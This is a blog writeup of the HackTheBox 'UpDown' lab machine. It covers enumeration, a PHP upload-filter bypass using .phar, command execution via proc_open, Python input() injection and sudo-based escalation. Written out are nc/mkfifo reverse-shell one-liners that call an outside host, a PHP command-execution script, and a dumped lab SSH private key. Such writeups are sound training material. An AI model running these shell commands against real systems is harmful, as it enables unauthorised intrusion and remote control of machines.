Home UpDown Writeup | HackTheBox Medium
Post
Cancel

UpDown Writeup | HackTheBox Medium


This blog post is a writeup for the updown machine from hackthebox. It contains the steps to exploit a web app vulnerability, crack a password hash, and escalate privileges using a cron job to get the root flag.


HackTheBox / UpDown


Enumeration

Scanning for open ports using threader3000:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
------------------------------------------------------------
        Threader 3000 - Multi-threaded Port Scanner
                       Version 1.0.7
                   A project by The Mayor
------------------------------------------------------------
Enter your target IP address or URL here: 10.10.11.177
------------------------------------------------------------
Scanning target 10.10.11.177
Time started: 2022-10-08 08:37:55.334975
------------------------------------------------------------
Port 80 is open
Port 22 is open
Port scan completed in 0:00:27.749945
------------------------------------------------------------
Threader3000 recommends the following Nmap scan:
************************************************************
nmap -p80,22 -sV -sC -T4 -Pn -oA 10.10.11.177 10.10.11.177

Running suggested nmap scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
nmap -p80,22 -sV -sC -T4 -Pn -oA 10.10.11.177 10.10.11.177
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-08 08:39 UTC
Nmap scan report for 10.10.11.177
Host is up (0.61s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA)
|   256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA)
|_  256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Is my Website up ?
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.31 seconds
------------------------------------------------------------
Combined scan completed in 0:02:29.591100
Press enter to quit...

webserver at port 80:

It looks like it has some kind of input validation in the backend..

Scanning for directories:

1
2
3
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://10.10.11.177/ -t 100

/dev                  (Status: 301) [Size: 310] [--> http://10.10.11.177/dev/]

Scanning for files:

1
2
3
4
5
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt -u http://10.10.11.177//FUZZ -fc 403

index.php               [Status: 200, Size: 1131, Words: 186, Lines: 40, Duration: 1496ms]
.                       [Status: 200, Size: 1131, Words: 186, Lines: 40, Duration: 87ms]
stylesheet.css          [Status: 200, Size: 5531, Words: 704, Lines: 321, Duration: 86ms]

Fuzzing for files at /dev:

1
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt -u http://10.10.11.177/dev/FUZZ -fc 403

.git folder:

downloading the folder:

1
wget -r -np -R "index.html*"  http://10.10.11.177/dev/.git

Following files can be recovered using git restore.

Since I don’t have a viable endpoint where I can possibly find the above files, looks like we need to enumerate subdomains. (I’ve added the ip with domain siteisup.htb to hosts)

Enumerating subdomains: (since we’re looking for something that forbids us & also bcoz xD all of em were responding with 200, I have blacklisted response status code 200).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.siteisup.htb" -u http://10.10.11.177 -fc 200

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.177
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.siteisup.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response status: 200
________________________________________________

dev                     [Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 111ms]

Lets add this to host. we kinda got thisssssss!. (Didn’t really)

After adding the required-header, I got the following response:

added the header using a burp extension (custom-header) for all the requests for burp proxy.

Getting a shell

Now we can closely inspect checker.php for vulnerabilities.

Doesn’t look like extension check can be bypassed: I’ve tried .inc, .phtm and was able to access the file but as a document.

Tried working around by hosting a php file through a python web server and using it somehow to download and execute via curl_exec of. But this felt like a dead end and extremely hard.

I started to check again from the start, :P There seems to be more php extensions than I knew. x_x

After several tries, I was able to use .phar which was processed as a php file.

Trying to spawn a reverse shell using the infamous php-reverse-shell(I’ve created a comment at the end and added multiple valid urls so that the file doesn’t get deleted and we can execute our php shell at that time):

Hmm. :-; It fails for even port 80 and 443.

lets try a web shell.

Doesn’t seem to work.

Following this link, :P I found a kind of web shell that executes php functions but it’s not that helpful. :-; Apparently some functions seems to be blocked causing our previous reverse and web shells to not work.

/etc/passwd contents:

1
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin sshd:x:109:65534::/run/sshd:/usr/sbin/nologin landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:111:1::/var/cache/pollinate:/bin/false systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false developer:x:1002:1002::/home/developer:/bin/bash root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin sshd:x:109:65534::/run/sshd:/usr/sbin/nologin landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:111:1::/var/cache/pollinate:/bin/false systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false developer:x:1002:1002::/home/developer:/bin/bash

As a workaround, :P I tried bruteforcing ssh on the side but as its pretty slow and I couldn’t crack the password in a while, I had to close it up after sometime.

We can check the disabled functions with the following:

1
<?php phpinfo() ?>

using dfunc-bypasser:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
python2 dfunc-bypasser.py --file /home/ut/cbrs3c/hackthebox/updown/PHPinfo.html


                                ,---,
                                  .'  .' `\
                                  ,---.'     \
                                  |   |  .`\  |
                                  :   : |  '  |
                                  |   ' '  ;  :
                                  '   | ;  .  |
                                  |   | :  |  '
                                  '   : | /  ;
                                  |   | '` ,/
                                  ;   :  .'
                                  |   ,.'
                                  '---'


			authors: __c3rb3ru5__, $_SpyD3r_$


Please add the following functions in your disable_functions option:
proc_open
If PHP-FPM is there stream_socket_sendto,stream_socket_client,fsockopen can also be used to be exploit by poisoning the request to the unix socket

:-; Tried multiple php rev shells, bind shells or examples to execute shell commands which use proc_open or had that as title, from which none of em worked. php-fpm stuff just went off over my head. :-; We need to manually create the shell from the php docs :

Changed the php to sh so that bash executes our command. (;-; Ended up wasting a lot of time due to this!!!)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("file", "/tmp/error-output.txt", "a") // stderr is a file to write to
);

$cwd = '/tmp';
$env = array('some_option' => 'aeiou');

$process = proc_open('sh', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)) {
    // $pipes now looks like this:
    // 0 => writeable handle connected to child stdin
    // 1 => readable handle connected to child stdout
    // Any error output will be appended to /tmp/error-output.txt

    fwrite($pipes[0], 'whoami');
    fclose($pipes[0]);

    echo stream_get_contents($pipes[1]);
    fclose($pipes[1]);

    // It is important that you close any pipes before calling
    // proc_close in order to avoid a deadlock
    $return_value = proc_close($process);

    echo "command returned $return_value\n";
}
?>

:P Now I can execute commands :

After trying out several rev shell commands available on Github/Payload All The Things, I was able to spawn a shell using the following command:

1
__import__('os').system('mkfifo /tmp/g;cat /tmp/g|/bin/sh -i 2>&1|nc 10.10.16.6 4242 >/tmp/g')

Finally a shell:

Privilege Escalation - developer

Suid bit :). Just gotta figure out how to use this for priv_esc.

After a bit of searching, Found out that the input() function seems to be vulnerable. hacktricks

I was able to modify the following example for command injection to spawn another reverse shell which would then run as a developer:

1
__import__('os').system('mkfifo /tmp/g;cat /tmp/g|/bin/sh -i 2>&1|nc 10.10.16.6 6262 >/tmp/g')

ohoo Successfully Privesc’ed to developer, I’m still in www-data group though:

Found priv key for ssh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34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cuSoD0BronWdjicUP0fzVecjkEQ0hp7gu
gNyFi4s68suDESmL5FCOWUuklrpkNENk7jzjhlzs3gdfU0IRCVpfmiT7LDGwX9YLfsVXtJ
mtpd5SG55TJuGJqXCyeM+U0DBdxsT5AAAAwQDDfs/CULeQUO+2Ij9rWAlKaTEKLkmZjSqB
2d9yJVHHzGPe1DZfRu0nYYonz5bfqoAh2GnYwvIp0h3nzzQo2Svv3/ugRCQwGoFP1zs1aa
ZSESqGN9EfOnUqvQa317rHnO3moDWTnYDbynVJuiQHlDaSCyf+uaZoCMINSG5IOC/4Sj0v
3zga8EzubgwnpU7r9hN2jWboCCIOeDtvXFv08KT8pFDCCA+sMa5uoWQlBqmsOWCLvtaOWe
N4jA+ppn1+3e0AAAASZGV2ZWxvcGVyQHNpdGVpc3VwAQ==
-----END OPENSSH PRIVATE KEY-----

got the first flag after using ssh to access developer.

Privilege Escalation - Root

1
2
3
4
5
6
developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User developer may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/local/bin/easy_install

Gtfobin for the win: LINK

This post is licensed under CC BY 4.0 by the author.